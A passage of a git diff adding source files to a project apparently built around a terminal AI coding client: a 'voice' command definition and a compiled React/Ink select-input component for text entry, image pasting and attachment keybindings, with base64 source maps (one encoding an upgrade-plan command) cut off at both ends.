tcbiAgZ2V0Q2xhdWRlQUlPQXV0aFRva2VucyxcbiAgaXNDbGF1ZGVBSVN1YnNjcmliZXIsXG59IGZyb20gJy4uLy4uL3V0aWxzL2F1dGguanMnXG5pbXBvcnQgeyBvcGVuQnJvd3NlciB9IGZyb20gJy4uLy4uL3V0aWxzL2Jyb3dzZXIuanMnXG5pbXBvcnQgeyBsb2dFcnJvciB9IGZyb20gJy4uLy4uL3V0aWxzL2xvZy5qcydcbmltcG9ydCB7IExvZ2luIH0gZnJvbSAnLi4vbG9naW4vbG9naW4uanMnXG5cbmV4cG9ydCBhc3luYyBmdW5jdGlvbiBjYWxsKFxuICBvbkRvbmU6IExvY2FsSlNYQ29tbWFuZE9uRG9uZSxcbiAgY29udGV4dDogTG9jYWxKU1hDb21tYW5kQ29udGV4dCxcbik6IFByb21pc2U8UmVhY3QuUmVhY3ROb2RlIHwgbnVsbD4ge1xuICB0cnkge1xuICAgIC8vIENoZWNrIGlmIHVzZXIgaXMgYWxyZWFkeSBvbiB0aGUgaGlnaGVzdCBNYXggcGxhbiAoMjB4KVxuICAgIGlmIChpc0NsYXVkZUFJU3Vic2NyaWJlcigpKSB7XG4gICAgICBjb25zdCB0b2tlbnMgPSBnZXRDbGF1ZGVBSU9BdXRoVG9rZW5zKClcbiAgICAgIGxldCBpc01heDIweCA9IGZhbHNlXG5cbiAgICAgIGlmICh0b2tlbnM/LnN1YnNjcmlwdGlvblR5cGUgJiYgdG9rZW5zPy5yYXRlTGltaXRUaWVyKSB7XG4gICAgICAgIGlzTWF4MjB4ID1cbiAgICAgICAgICB0b2tlbnMuc3Vic2NyaXB0aW9uVHlwZSA9PT0gJ21heCcgJiZcbiAgICAgICAgICB0b2tlbnMucmF0ZUxpbWl0VGllciA9PT0gJ2RlZmF1bHRfY2xhdWRlX21heF8yMHgnXG4gICAgICB9IGVsc2UgaWYgKHRva2Vucz8uYWNjZXNzVG9rZW4pIHtcbiAgICAgICAgY29uc3QgcHJvZmlsZSA9IGF3YWl0IGdldE9hdXRoUHJvZmlsZUZyb21PYXV0aFRva2VuKHRva2Vucy5hY2Nlc3NUb2tlbilcbiAgICAgICAgaXNNYXgyMHggPVxuICAgICAgICAgIHByb2ZpbGU/Lm9yZ2FuaXphdGlvbj8ub3JnYW5pemF0aW9uX3R5cGUgPT09ICdjbGF1ZGVfbWF4JyAmJlxuICAgICAgICAgIHByb2ZpbGU/Lm9yZ2FuaXphdGlvbj8ucmF0ZV9saW1pdF90aWVyID09PSAnZGVmYXVsdF9jbGF1ZGVfbWF4XzIweCdcbiAgICAgIH1cblxuICAgICAgaWYgKGlzTWF4MjB4KSB7XG4gICAgICAgIHNldFRpbWVvdXQoXG4gICAgICAgICAgb25Eb25lLFxuICAgICAgICAgIDAsXG4gICAgICAgICAgJ1lvdSBhcmUgYWxyZWFkeSBvbiB0aGUgaGlnaGVzdCBNYXggc3Vic2NyaXB0aW9uIHBsYW4uIEZvciBhZGRpdGlvbmFsIHVzYWdlLCBydW4gL2xvZ2luIHRvIHN3aXRjaCB0byBhbiBBUEkgdXNhZ2UtYmlsbGVkIGFjY291bnQuJyxcbiAgICAgICAgKVxuICAgICAgICByZXR1cm4gbnVsbFxuICAgICAgfVxuICAgIH1cblxuICAgIGNvbnN0IHVybCA9ICdodHRwczovL2NsYXVkZS5haS91cGdyYWRlL21heCdcbiAgICBhd2FpdCBvcGVuQnJvd3Nlcih1cmwpXG5cbiAgICByZXR1cm4gKFxuICAgICAgPExvZ2luXG4gICAgICAgIHN0YXJ0aW5nTWVzc2FnZT17XG4gICAgICAgICAgJ1N0YXJ0aW5nIG5ldyBsb2dpbiBmb2xsb3dpbmcgL3VwZ3JhZGUuIEV4aXQgd2l0aCBDdHJsLUMgdG8gdXNlIGV4aXN0aW5nIGFjY291bnQuJ1xuICAgICAgICB9XG4gICAgICAgIG9uRG9uZT17c3VjY2VzcyA9PiB7XG4gICAgICAgICAgY29udGV4dC5vbkNoYW5nZUFQSUtleSgpXG4gICAgICAgICAgb25Eb25lKHN1Y2Nlc3MgPyAnTG9naW4gc3VjY2Vzc2Z1bCcgOiAnTG9naW4gaW50ZXJydXB0ZWQnKVxuICAgICAgICB9fVxuICAgICAgLz5cbiAgICApXG4gIH0gY2F0Y2ggKGVycm9yKSB7XG4gICAgbG9nRXJyb3IoZXJyb3IgYXMgRXJyb3IpXG4gICAgc2V0VGltZW91dChcbiAgICAgIG9uRG9uZSxcbiAgICAgIDAsXG4gICAgICAnRmFpbGVkIHRvIG9wZW4gYnJvd3Nlci4gUGxlYXNlIHZpc2l0IGh0dHBzOi8vY2xhdWRlLmFpL3VwZ3JhZGUvbWF4IHRvIHVwZ3JhZGUuJyxcbiAgICApXG4gIH1cbiAgcmV0dXJuIG51bGxcbn1cbiJdLCJtYXBwaW5ncyI6IkFBQUEsT0FBTyxLQUFLQSxLQUFLLE1BQU0sT0FBTztBQUM5QixjQUFjQyxzQkFBc0IsUUFBUSxtQkFBbUI7QUFDL0QsU0FBU0MsNkJBQTZCLFFBQVEseUNBQXlDO0FBQ3ZGLGNBQWNDLHFCQUFxQixRQUFRLHdCQUF3QjtBQUNuRSxTQUNFQyxzQkFBc0IsRUFDdEJDLG9CQUFvQixRQUNmLHFCQUFxQjtBQUM1QixTQUFTQyxXQUFXLFFBQVEsd0JBQXdCO0FBQ3BELFNBQVNDLFFBQVEsUUFBUSxvQkFBb0I7QUFDN0MsU0FBU0MsS0FBSyxRQUFRLG1CQUFtQjtBQUV6QyxPQUFPLGVBQWVDLElBQUlBLENBQ3hCQyxNQUFNLEVBQUVQLHFCQUFxQixFQUM3QlEsT0FBTyxFQUFFVixzQkFBc0IsQ0FDaEMsRUFBRVcsT0FBTyxDQUFDWixLQUFLLENBQUNhLFNBQVMsR0FBRyxJQUFJLENBQUMsQ0FBQztFQUNqQyxJQUFJO0lBQ0Y7SUFDQSxJQUFJUixvQkFBb0IsQ0FBQyxDQUFDLEVBQUU7TUFDMUIsTUFBTVMsTUFBTSxHQUFHVixzQkFBc0IsQ0FBQyxDQUFDO01BQ3ZDLElBQUlXLFFBQVEsR0FBRyxLQUFLO01BRXBCLElBQUlELE1BQU0sRUFBRUUsZ0JBQWdCLElBQUlGLE1BQU0sRUFBRUcsYUFBYSxFQUFFO1FBQ3JERixRQUFRLEdBQ05ELE1BQU0sQ0FBQ0UsZ0JBQWdCLEtBQUssS0FBSyxJQUNqQ0YsTUFBTSxDQUFDRyxhQUFhLEtBQUssd0JBQXdCO01BQ3JELENBQUMsTUFBTSxJQUFJSCxNQUFNLEVBQUVJLFdBQVcsRUFBRTtRQUM5QixNQUFNQyxPQUFPLEdBQUcsTUFBTWpCLDZCQUE2QixDQUFDWSxNQUFNLENBQUNJLFdBQVcsQ0FBQztRQUN2RUgsUUFBUSxHQUNOSSxPQUFPLEVBQUVDLFlBQVksRUFBRUMsaUJBQWlCLEtBQUssWUFBWSxJQUN6REYsT0FBTyxFQUFFQyxZQUFZLEVBQUVFLGVBQWUsS0FBSyx3QkFBd0I7TUFDdkU7TUFFQSxJQUFJUCxRQUFRLEVBQUU7UUFDWlEsVUFBVSxDQUNSYixNQUFNLEVBQ04sQ0FBQyxFQUNELGtJQUNGLENBQUM7UUFDRCxPQUFPLElBQUk7TUFDYjtJQUNGO0lBRUEsTUFBTWMsR0FBRyxHQUFHLCtCQUErQjtJQUMzQyxNQUFNbEIsV0FBVyxDQUFDa0IsR0FBRyxDQUFDO0lBRXRCLE9BQ0UsQ0FBQyxLQUFLLENBQ0osZUFBZSxDQUFDLENBQ2Qsa0ZBQ0YsQ0FBQyxDQUNELE1BQU0sQ0FBQyxDQUFDQyxPQUFPLElBQUk7TUFDakJkLE9BQU8sQ0FBQ2UsY0FBYyxDQUFDLENBQUM7TUFDeEJoQixNQUFNLENBQUNlLE9BQU8sR0FBRyxrQkFBa0IsR0FBRyxtQkFBbUIsQ0FBQztJQUM1RCxDQUFDLENBQUMsR0FDRjtFQUVOLENBQUMsQ0FBQyxPQUFPRSxLQUFLLEVBQUU7SUFDZHBCLFFBQVEsQ0FBQ29CLEtBQUssSUFBSUMsS0FBSyxDQUFDO0lBQ3hCTCxVQUFVLENBQ1JiLE1BQU0sRUFDTixDQUFDLEVBQ0QsZ0ZBQ0YsQ0FBQztFQUNIO0VBQ0EsT0FBTyxJQUFJO0FBQ2IiLCJpZ25vcmVMaXN0IjpbXX0=
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/commands/voice/index.ts b/_all-in-one-upload/cc-haha/src/commands/voice/index.ts
new file mode 100644
index 0000000..61540d3
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/commands/voice/index.ts
@@ -0,0 +1,20 @@
+import type { Command } from '../../commands.js'
+import {
+  isVoiceGrowthBookEnabled,
+  isVoiceModeEnabled,
+} from '../../voice/voiceModeEnabled.js'
+
+const voice = {
+  type: 'local',
+  name: 'voice',
+  description: 'Toggle voice mode',
+  availability: ['claude-ai'],
+  isEnabled: () => isVoiceGrowthBookEnabled(),
+  get isHidden() {
+    return !isVoiceModeEnabled()
+  },
+  supportsNonInteractive: false,
+  load: () => import('./voice.js'),
+} satisfies Command
+
+export default voice
diff --git a/_all-in-one-upload/cc-haha/src/components/CustomSelect/select-input-option.tsx b/_all-in-one-upload/cc-haha/src/components/CustomSelect/select-input-option.tsx
new file mode 100644
index 0000000..51e60ce
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/CustomSelect/select-input-option.tsx
@@ -0,0 +1,488 @@
+import { c as _c } from "react/compiler-runtime";
+import React, { type ReactNode, useEffect, useRef, useState } from 'react';
+// eslint-disable-next-line custom-rules/prefer-use-keybindings -- UP arrow exit not in Attachments bindings
+import { Box, Text, useInput } from '../../ink.js';
+import { useKeybinding, useKeybindings } from '../../keybindings/useKeybinding.js';
+import type { PastedContent } from '../../utils/config.js';
+import { getImageFromClipboard } from '../../utils/imagePaste.js';
+import type { ImageDimensions } from '../../utils/imageResizer.js';
+import { ClickableImageRef } from '../ClickableImageRef.js';
+import { ConfigurableShortcutHint } from '../ConfigurableShortcutHint.js';
+import { Byline } from '../design-system/Byline.js';
+import TextInput from '../TextInput.js';
+import type { OptionWithDescription } from './select.js';
+import { SelectOption } from './select-option.js';
+type Props<T> = {
+  option: Extract<OptionWithDescription<T>, {
+    type: 'input';
+  }>;
+  isFocused: boolean;
+  isSelected: boolean;
+  shouldShowDownArrow: boolean;
+  shouldShowUpArrow: boolean;
+  maxIndexWidth: number;
+  index: number;
+  inputValue: string;
+  onInputChange: (value: string) => void;
+  onSubmit: (value: string) => void;
+  onExit?: () => void;
+  layout: 'compact' | 'expanded';
+  children?: ReactNode;
+  /**
+   * When true, shows the label before the input field.
+   * When false (default), uses the label as the placeholder.
+   */
+  showLabel?: boolean;
+  /**
+   * Callback to open external editor for editing the input value.
+   * When provided, ctrl+g will trigger this callback with the current value
+   * and a setter function to update the internal state.
+   */
+  onOpenEditor?: (currentValue: string, setValue: (value: string) => void) => void;
+  /**
+   * When true, automatically reset cursor to end of line when:
+   * - Option becomes focused
+   * - Input value changes
+   * This prevents cursor position bugs when the input value updates asynchronously.
+   */
+  resetCursorOnUpdate?: boolean;
+  /**
+   * Optional callback when an image is pasted into the input.
+   */
+  onImagePaste?: (base64Image: string, mediaType?: string, filename?: string, dimensions?: ImageDimensions, sourcePath?: string) => void;
+  /**
+   * Pasted content to display inline above the input when focused.
+   */
+  pastedContents?: Record<number, PastedContent>;
+  /**
+   * Callback to remove a pasted image by its ID.
+   */
+  onRemoveImage?: (id: number) => void;
+  /**
+   * Whether image selection mode is active.
+   */
+  imagesSelected?: boolean;
+  /**
+   * Currently selected image index within the image attachments array.
+   */
+  selectedImageIndex?: number;
+  /**
+   * Callback to set image selection mode on/off.
+   */
+  onImagesSelectedChange?: (selected: boolean) => void;
+  /**
+   * Callback to change the selected image index.
+   */
+  onSelectedImageIndexChange?: (index: number) => void;
+};
+export function SelectInputOption(t0) {
+  const $ = _c(100);
+  const {
+    option,
+    isFocused,
+    isSelected,
+    shouldShowDownArrow,
+    shouldShowUpArrow,
+    maxIndexWidth,
+    index,
+    inputValue,
+    onInputChange,
+    onSubmit,
+    onExit,
+    layout,
+    children,
+    showLabel: t1,
+    onOpenEditor,
+    resetCursorOnUpdate: t2,
+    onImagePaste,
+    pastedContents,
+    onRemoveImage,
+    imagesSelected,
+    selectedImageIndex: t3,
+    onImagesSelectedChange,
+    onSelectedImageIndexChange
+  } = t0;
+  const showLabelProp = t1 === undefined ? false : t1;
+  const resetCursorOnUpdate = t2 === undefined ? false : t2;
+  const selectedImageIndex = t3 === undefined ? 0 : t3;
+  let t4;
+  if ($[0] !== pastedContents) {
+    t4 = pastedContents ? Object.values(pastedContents).filter(_temp) : [];
+    $[0] = pastedContents;
+    $[1] = t4;
+  } else {
+    t4 = $[1];
+  }
+  const imageAttachments = t4;
+  const showLabel = showLabelProp || option.showLabelWithValue === true;
+  const [cursorOffset, setCursorOffset] = useState(inputValue.length);
+  const isUserEditing = useRef(false);
+  let t5;
+  if ($[2] !== inputValue.length || $[3] !== isFocused || $[4] !== resetCursorOnUpdate) {
+    t5 = () => {
+      if (resetCursorOnUpdate && isFocused) {
+        if (isUserEditing.current) {
+          isUserEditing.current = false;
+        } else {
+          setCursorOffset(inputValue.length);
+        }
+      }
+    };
+    $[2] = inputValue.length;
+    $[3] = isFocused;
+    $[4] = resetCursorOnUpdate;
+    $[5] = t5;
+  } else {
+    t5 = $[5];
+  }
+  let t6;
+  if ($[6] !== inputValue || $[7] !== isFocused || $[8] !== resetCursorOnUpdate) {
+    t6 = [resetCursorOnUpdate, isFocused, inputValue];
+    $[6] = inputValue;
+    $[7] = isFocused;
+    $[8] = resetCursorOnUpdate;
+    $[9] = t6;
+  } else {
+    t6 = $[9];
+  }
+  useEffect(t5, t6);
+  let t7;
+  if ($[10] !== inputValue || $[11] !== onInputChange || $[12] !== onOpenEditor) {
+    t7 = () => {
+      onOpenEditor?.(inputValue, onInputChange);
+    };
+    $[10] = inputValue;
+    $[11] = onInputChange;
+    $[12] = onOpenEditor;
+    $[13] = t7;
+  } else {
+    t7 = $[13];
+  }
+  const t8 = isFocused && !!onOpenEditor;
+  let t9;
+  if ($[14] !== t8) {
+    t9 = {
+      context: "Chat",
+      isActive: t8
+    };
+    $[14] = t8;
+    $[15] = t9;
+  } else {
+    t9 = $[15];
+  }
+  useKeybinding("chat:externalEditor", t7, t9);
+  let t10;
+  if ($[16] !== onImagePaste) {
+    t10 = () => {
+      if (!onImagePaste) {
+        return;
+      }
+      getImageFromClipboard().then(imageData => {
+        if (imageData) {
+          onImagePaste(imageData.base64, imageData.mediaType, undefined, imageData.dimensions);
+        }
+      });
+    };
+    $[16] = onImagePaste;
+    $[17] = t10;
+  } else {
+    t10 = $[17];
+  }
+  const t11 = isFocused && !!onImagePaste;
+  let t12;
+  if ($[18] !== t11) {
+    t12 = {
+      context: "Chat",
+      isActive: t11
+    };
+    $[18] = t11;
+    $[19] = t12;
+  } else {
+    t12 = $[19];
+  }
+  useKeybinding("chat:imagePaste", t10, t12);
+  let t13;
+  if ($[20] !== imageAttachments || $[21] !== onRemoveImage) {
+    t13 = () => {
+      if (imageAttachments.length > 0 && onRemoveImage) {
+        onRemoveImage(imageAttachments.at(-1).id);
+      }
+    };
+    $[20] = imageAttachments;
+    $[21] = onRemoveImage;
+    $[22] = t13;
+  } else {
+    t13 = $[22];
+  }
+  const t14 = isFocused && !imagesSelected && inputValue === "" && imageAttachments.length > 0 && !!onRemoveImage;
+  let t15;
+  if ($[23] !== t14) {
+    t15 = {
+      context: "Attachments",
+      isActive: t14
+    };
+    $[23] = t14;
+    $[24] = t15;
+  } else {
+    t15 = $[24];
+  }
+  useKeybinding("attachments:remove", t13, t15);
+  let t16;
+  let t17;
+  if ($[25] !== imageAttachments.length || $[26] !== onSelectedImageIndexChange || $[27] !== selectedImageIndex) {
+    t16 = () => {
+      if (imageAttachments.length > 1) {
+        onSelectedImageIndexChange?.((selectedImageIndex + 1) % imageAttachments.length);
+      }
+    };
+    t17 = () => {
+      if (imageAttachments.length > 1) {
+        onSelectedImageIndexChange?.((selectedImageIndex - 1 + imageAttachments.length) % imageAttachments.length);
+      }
+    };
+    $[25] = imageAttachments.length;
+    $[26] = onSelectedImageIndexChange;
+    $[27] = selectedImageIndex;
+    $[28] = t16;
+    $[29] = t17;
+  } else {
+    t16 = $[28];
+    t17 = $[29];
+  }
+  let t18;
+  if ($[30] !== imageAttachments || $[31] !== onImagesSelectedChange || $[32] !== onRemoveImage || $[33] !== onSelectedImageIndexChange || $[34] !== selectedImageIndex) {
+    t18 = () => {
+      const img = imageAttachments[selectedImageIndex];
+      if (img && onRemoveImage) {
+        onRemoveImage(img.id);
+        if (imageAttachments.length <= 1) {
+          onImagesSelectedChange?.(false);
+        } else {
+          onSelectedImageIndexChange?.(Math.min(selectedImageIndex, imageAttachments.length - 2));
+        }
+      }
+    };
+    $[30] = imageAttachments;
+    $[31] = onImagesSelectedChange;
+    $[32] = onRemoveImage;
+    $[33] = onSelectedImageIndexChange;
+    $[34] = selectedImageIndex;
+    $[35] = t18;
+  } else {
+    t18 = $[35];
+  }
+  let t19;
+  if ($[36] !== onImagesSelectedChange) {
+    t19 = () => {
+      onImagesSelectedChange?.(false);
+    };
+    $[36] = onImagesSelectedChange;
+    $[37] = t19;
+  } else {
+    t19 = $[37];
+  }
+  let t20;
+  if ($[38] !== t16 || $[39] !== t17 || $[40] !== t18 || $[41] !== t19) {
+    t20 = {
+      "attachments:next": t16,
+      "attachments:previous": t17,
+      "attachments:remove": t18,
+      "attachments:exit": t19
+    };
+    $[38] = t16;
+    $[39] = t17;
+    $[40] = t18;
+    $[41] = t19;
+    $[42] = t20;
+  } else {
+    t20 = $[42];
+  }
+  const t21 = isFocused && !!imagesSelected;
+  let t22;
+  if ($[43] !== t21) {
+    t22 = {
+      context: "Attachments",
+      isActive: t21
+    };
+    $[43] = t21;
+    $[44] = t22;
+  } else {
+    t22 = $[44];
+  }
+  useKeybindings(t20, t22);
+  let t23;
+  if ($[45] !== onImagesSelectedChange) {
+    t23 = (_input, key) => {
+      if (key.upArrow) {
+        onImagesSelectedChange?.(false);
+      }
+    };
+    $[45] = onImagesSelectedChange;
+    $[46] = t23;
+  } else {
+    t23 = $[46];
+  }
+  const t24 = isFocused && !!imagesSelected;
+  let t25;
+  if ($[47] !== t24) {
+    t25 = {
+      isActive: t24
+    };
+    $[47] = t24;
+    $[48] = t25;
+  } else {
+    t25 = $[48];
+  }
+  useInput(t23, t25);
+  let t26;
+  let t27;
+  if ($[49] !== imagesSelected || $[50] !== isFocused || $[51] !== onImagesSelectedChange) {
+    t26 = () => {
+      if (!isFocused && imagesSelected) {
+        onImagesSelectedChange?.(false);
+      }
+    };
+    t27 = [isFocused, imagesSelected, onImagesSelectedChange];
+    $[49] = imagesSelected;
+    $[50] = isFocused;
+    $[51] = onImagesSelectedChange;
+    $[52] = t26;
+    $[53] = t27;
+  } else {
+    t26 = $[52];
+    t27 = $[53];
+  }
+  useEffect(t26, t27);
+  const descriptionPaddingLeft = layout === "expanded" ? maxIndexWidth + 3 : maxIndexWidth + 4;
+  const t28 = layout === "compact" ? 0 : undefined;
+  const t29 = `${index}.`;
+  let t30;
+  if ($[54] !== maxIndexWidth || $[55] !== t29) {
+    t30 = t29.padEnd(maxIndexWidth + 2);
+    $[54] = maxIndexWidth;
+    $[55] = t29;
+    $[56] = t30;
+  } else {
+    t30 = $[56];
+  }
+  let t31;
+  if ($[57] !== t30) {
+    t31 = <Text dimColor={true}>{t30}</Text>;
+    $[57] = t30;
+    $[58] = t31;
+  } else {
+    t31 = $[58];
+  }
+  let t32;
+  if ($[59] !== cursorOffset || $[60] !== imagesSelected || $[61] !== inputValue || $[62] !== isFocused || $[63] !== onExit || $[64] !== onImagePaste || $[65] !== onInputChange || $[66] !== onSubmit || $[67] !== option || $[68] !== showLabel) {
+    t32 = showLabel ? <><Text color={isFocused ? "suggestion" : undefined}>{option.label}</Text>{isFocused ? <><Text color="suggestion">{option.labelValueSeparator ?? ", "}</Text><TextInput value={inputValue} onChange={value => {
+          isUserEditing.current = true;
+          onInputChange(value);
+          option.onChange(value);
+        }} onSubmit={onSubmit} onExit={onExit} placeholder={option.placeholder} focus={!imagesSelected} showCursor={true} multiline={true} cursorOffset={cursorOffset} onChangeCursorOffset={setCursorOffset} columns={80} onImagePaste={onImagePaste} onPaste={pastedText => {
+          isUserEditing.current = true;
+          const before = inputValue.slice(0, cursorOffset);
+          const after = inputValue.slice(cursorOffset);
+          const newValue = before + pastedText + after;
+          onInputChange(newValue);
+          option.onChange(newValue);
+          setCursorOffset(before.length + pastedText.length);
+        }} /></> : inputValue && <Text>{option.labelValueSeparator ?? ", "}{inputValue}</Text>}</> : isFocused ? <TextInput value={inputValue} onChange={value_0 => {
+      isUserEditing.current = true;
+      onInputChange(value_0);
+      option.onChange(value_0);
+    }} onSubmit={onSubmit} onExit={onExit} placeholder={option.placeholder || (typeof option.label === "string" ? option.label : undefined)} focus={!imagesSelected} showCursor={true} multiline={true} cursorOffset={cursorOffset} onChangeCursorOffset={setCursorOffset} columns={80} onImagePaste={onImagePaste} onPaste={pastedText_0 => {
+      isUserEditing.current = true;
+      const before_0 = inputValue.slice(0, cursorOffset);
+      const after_0 = inputValue.slice(cursorOffset);
+      const newValue_0 = before_0 + pastedText_0 + after_0;
+      onInputChange(newValue_0);
+      option.onChange(newValue_0);
+      setCursorOffset(before_0.length + pastedText_0.length);
+    }} /> : <Text color={inputValue ? undefined : "inactive"}>{inputValue || option.placeholder || option.label}</Text>;
+    $[59] = cursorOffset;
+    $[60] = imagesSelected;
+    $[61] = inputValue;
+    $[62] = isFocused;
+    $[63] = onExit;
+    $[64] = onImagePaste;
+    $[65] = onInputChange;
+    $[66] = onSubmit;
+    $[67] = option;
+    $[68] = showLabel;
+    $[69] = t32;
+  } else {
+    t32 = $[69];
+  }
+  let t33;
+  if ($[70] !== children || $[71] !== t28 || $[72] !== t31 || $[73] !== t32) {
+    t33 = <Box flexDirection="row" flexShrink={t28}>{t31}{children}{t32}</Box>;
+    $[70] = children;
+    $[71] = t28;
+    $[72] = t31;
+    $[73] = t32;
+    $[74] = t33;
+  } else {
+    t33 = $[74];
+  }
+  let t34;
+  if ($[75] !== isFocused || $[76] !== isSelected || $[77] !== shouldShowDownArrow || $[78] !== shouldShowUpArrow || $[79] !== t33) {
+    t34 = <SelectOption isFocused={isFocused} isSelected={isSelected} shouldShowDownArrow={shouldShowDownArrow} shouldShowUpArrow={shouldShowUpArrow} declareCursor={false}>{t33}</SelectOption>;
+    $[75] = isFocused;
+    $[76] = isSelected;
+    $[77] = shouldShowDownArrow;
+    $[78] = shouldShowUpArrow;
+    $[79] = t33;
+    $[80] = t34;
+  } else {
+    t34 = $[80];
+  }
+  let t35;
+  if ($[81] !== descriptionPaddingLeft || $[82] !== isFocused || $[83] !== isSelected || $[84] !== option.description || $[85] !== option.dimDescription) {
+    t35 = option.description && <Box paddingLeft={descriptionPaddingLeft}><Text dimColor={option.dimDescription !== false} color={isSelected ? "success" : isFocused ? "suggestion" : undefined}>{option.description}</Text></Box>;
+    $[81] = descriptionPaddingLeft;
+    $[82] = isFocused;
+    $[83] = isSelected;
+    $[84] = option.description;
+    $[85] = option.dimDescription;
+    $[86] = t35;
+  } else {
+    t35 = $[86];
+  }
+  let t36;
+  if ($[87] !== descriptionPaddingLeft || $[88] !== imageAttachments || $[89] !== imagesSelected || $[90] !== isFocused || $[91] !== selectedImageIndex) {
+    t36 = imageAttachments.length > 0 && <Box flexDirection="row" gap={1} paddingLeft={descriptionPaddingLeft}>{imageAttachments.map((img_0, idx) => <ClickableImageRef key={img_0.id} imageId={img_0.id} isSelected={!!imagesSelected && idx === selectedImageIndex} />)}<Box flexGrow={1} justifyContent="flex-start" flexDirection="row"><Text dimColor={true}>{imagesSelected ? <Byline>{imageAttachments.length > 1 && <><ConfigurableShortcutHint action="attachments:next" context="Attachments" fallback={"\u2192"} description="next" /><ConfigurableShortcutHint action="attachments:previous" context="Attachments" fallback={"\u2190"} description="prev" /></>}<ConfigurableShortcutHint action="attachments:remove" context="Attachments" fallback="backspace" description="remove" /><ConfigurableShortcutHint action="attachments:exit" context="Attachments" fallback="esc" description="cancel" /></Byline> : isFocused ? "(\u2193 to select)" : null}</Text></Box></Box>;
+    $[87] = descriptionPaddingLeft;
+    $[88] = imageAttachments;
+    $[89] = imagesSelected;
+    $[90] = isFocused;
+    $[91] = selectedImageIndex;
+    $[92] = t36;
+  } else {
+    t36 = $[92];
+  }
+  let t37;
+  if ($[93] !== layout) {
+    t37 = layout === "expanded" && <Text> </Text>;
+    $[93] = layout;
+    $[94] = t37;
+  } else {
+    t37 = $[94];
+  }
+  let t38;
+  if ($[95] !== t34 || $[96] !== t35 || $[97] !== t36 || $[98] !== t37) {
+    t38 = <Box flexDirection="column" flexShrink={0}>{t34}{t35}{t36}{t37}</Box>;
+    $[95] = t34;
+    $[96] = t35;
+    $[97] = t36;
+    $[98] = t37;
+    $[99] = t38;
+  } else {
+    t38 = $[99];
+  }
+  return t38;
+}
+function _temp(c) {
+  return c.type === "image";
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIlJlYWN0Tm9kZSIsInVzZUVmZmVjdCIsInVzZVJlZiIsInVzZVN0YXRlIiwiQm94IiwiVGV4dCIsInVzZUlucHV0IiwidXNlS2V5YmluZGluZyIsInVzZUtleWJpbmRpbmdzIiwiUGFzdGVkQ29udGVudCIsImdldEltYWdlRnJvbUNsaXBib2FyZCIsIkltYWdlRGltZW5zaW9ucyIsIkNsaWNrYWJsZUltYWdlUmVmIiwiQ29uZmlndXJhYmxlU2hvcnRjdXRIaW50IiwiQnlsaW5lIiwiVGV4dElucHV0IiwiT3B0aW9uV2l0aERlc2NyaXB0aW9uIiwiU2VsZWN0T3B0aW9uIiwiUHJvcHMiLCJvcHRpb24iLCJFeHRyYWN0IiwiVCIsInR5cGUiLCJpc0ZvY3VzZWQiLCJpc1NlbGVjdGVkIiwic2hvdWxkU2hvd0Rvd25BcnJvdyIsInNob3VsZFNob3dVcEFycm93IiwibWF4SW5kZXhXaWR0aCIsImluZGV4IiwiaW5wdXRWYWx1ZSIsIm9uSW5wdXRDaGFuZ2UiLCJ2YWx1ZSIsIm9uU3VibWl0Iiwib25FeGl0IiwibGF5b3V0IiwiY2hpbGRyZW4iLCJzaG93TGFiZWwiLCJvbk9wZW5FZGl0b3IiLCJjdXJyZW50VmFsdWUiLCJzZXRWYWx1ZSIsInJlc2V0Q3Vyc29yT25VcGRhdGUiLCJvbkltYWdlUGFzdGUiLCJiYXNlNjRJbWFnZSIsIm1lZGlhVHlwZSIsImZpbGVuYW1lIiwiZGltZW5zaW9ucyIsInNvdXJjZVBhdGgiLCJwYXN0ZWRDb250ZW50cyIsIlJlY29yZCIsIm9uUmVtb3ZlSW1hZ2UiLCJpZCIsImltYWdlc1NlbGVjdGVkIiwic2VsZWN0ZWRJbWFnZUluZGV4Iiwib25JbWFnZXNTZWxlY3RlZENoYW5nZSIsInNlbGVjdGVkIiwib25TZWxlY3RlZEltYWdlSW5kZXhDaGFuZ2UiLCJTZWxlY3RJbnB1dE9wdGlvbiIsInQwIiwiJCIsIl9jIiwidDEiLCJ0MiIsInQzIiwic2hvd0xhYmVsUHJvcCIsInVuZGVmaW5lZCIsInQ0IiwiT2JqZWN0IiwidmFsdWVzIiwiZmlsdGVyIiwiX3RlbXAiLCJpbWFnZUF0dGFjaG1lbnRzIiwic2hvd0xhYmVsV2l0aFZhbHVlIiwiY3Vyc29yT2Zmc2V0Iiwic2V0Q3Vyc29yT2Zmc2V0IiwibGVuZ3RoIiwiaXNVc2VyRWRpdGluZyIsInQ1IiwiY3VycmVudCIsInQ2IiwidDciLCJ0OCIsInQ5IiwiY29udGV4dCIsImlzQWN0aXZlIiwidDEwIiwidGhlbiIsImltYWdlRGF0YSIsImJhc2U2NCIsInQxMSIsInQxMiIsInQxMyIsImF0IiwidDE0IiwidDE1IiwidDE2IiwidDE3IiwidDE4IiwiaW1nIiwiTWF0aCIsIm1pbiIsInQxOSIsInQyMCIsInQyMSIsInQyMiIsInQyMyIsIl9pbnB1dCIsImtleSIsInVwQXJyb3ciLCJ0MjQiLCJ0MjUiLCJ0MjYiLCJ0MjciLCJkZXNjcmlwdGlvblBhZGRpbmdMZWZ0IiwidDI4IiwidDI5IiwidDMwIiwicGFkRW5kIiwidDMxIiwidDMyIiwibGFiZWwiLCJsYWJlbFZhbHVlU2VwYXJhdG9yIiwib25DaGFuZ2UiLCJwbGFjZWhvbGRlciIsInBhc3RlZFRleHQiLCJiZWZvcmUiLCJzbGljZSIsImFmdGVyIiwibmV3VmFsdWUiLCJ2YWx1ZV8wIiwicGFzdGVkVGV4dF8wIiwiYmVmb3JlXzAiLCJhZnRlcl8wIiwibmV3VmFsdWVfMCIsInQzMyIsInQzNCIsInQzNSIsImRlc2NyaXB0aW9uIiwiZGltRGVzY3JpcHRpb24iLCJ0MzYiLCJtYXAiLCJpbWdfMCIsImlkeCIsInQzNyIsInQzOCIsImMiXSwic291cmNlcyI6WyJzZWxlY3QtaW5wdXQtb3B0aW9uLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgUmVhY3QsIHsgdHlwZSBSZWFjdE5vZGUsIHVzZUVmZmVjdCwgdXNlUmVmLCB1c2VTdGF0ZSB9IGZyb20gJ3JlYWN0J1xuLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGN1c